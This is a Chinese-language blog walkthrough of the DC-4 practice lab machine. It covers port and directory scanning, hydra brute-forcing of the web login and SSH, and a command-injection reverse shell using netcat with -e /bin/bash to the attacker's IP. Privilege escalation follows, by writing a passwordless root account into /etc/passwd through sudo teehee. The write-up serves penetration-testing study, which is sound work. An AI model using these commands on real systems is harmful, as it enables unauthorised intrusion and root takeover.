DC-4靶机攻略

DC-4攻略

信息收集

主机发现

nmap -sP 192.168.64.0/24 -oN nmap.sP  

发现目标主机ip为192.168.64.139

端口扫描

nmap -A 192.168.64.139 -p 1-65535 -oN nmap_A

发现80http 和22ssh

访问80

在这里插入图片描述

目录扫描

dirb http://192.168.64.139  

后台登录主页为http://192.168.64.139/index.php 

渗透

爆破web账密

发现以post方式传参到login.php

在这里插入图片描述

使用hydra爆破表单

hydra -l <用户名> -P <密码字典> <IP地址> <表单参数> <登录失败消息>
hydra -l admin -P pass 192.168.64.139 http-post-form "/login.php:username=^USER^&password=^PASS^:S=logout" 

密码为happy

登录页面查看信息

发现页面中存在远程命令执行

在这里插入图片描述

远程命令执行反弹shell

bp抓包修改命令

nc 监听端口或发起tcp/udp连接
kali本地监听端口
nc -lvvp 8080
nc+192.168.64.131+8080+-e+/bin/bash         发起连接  空格用+代替

获得交互性shell

python -c 'import pty;pty.spawn("/bin/sh")'  获得交互性shell

查找信息

进入home中jim目录发现mbox权限奇怪 但是我们没权限进去
$ ls -l
ls -l
total 12
drwxr-xr-x 2 jim jim 4096 Apr  7  2019 backups
-rw------- 1 jim jim  528 Apr  6  2019 mbox
-rwsrwxrwx 1 jim jim  174 Apr  6  2019 test.sh


进入home中jim目录backups目录,发现old-passwords
推测他可能是记录的密码,保存为字典
查看用户
cat /etc/passwd
发现两个用户jim和sam
考虑ssh爆破

爆破ssh

hydra -l jim -P pass ssh://192.168.64.139 -v -f

jim密码为jibril04

ssh登录jim
ssh jim@192.168.64.138 

cat mbox
发现是root发的邮件,去var/mali看一眼
cd /var/mali
cat jim
获得用户Charles密码^xHhA&hvim0y
切换到Charles用户
su Charles   发现没有用户
考虑外国人喜欢首字母大写
su charles   成功

提权

发现可以免密sudo使用teehe
charles@dc-4:/var/mail$ sudo -l
sudo -l
Matching Defaults entries for charles on dc-4:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User charles may run the following commands on dc-4:
    (root) NOPASSWD: /usr/bin/teehee

sudo提权

echo "admin::0:0:::/bin/bash" | sudo teehee -a /etc/passwd  
建立无密码用户并给root权限

免密登录

su admin

cd /root
ls
cat flag.txt  通关
  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Forest深林

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值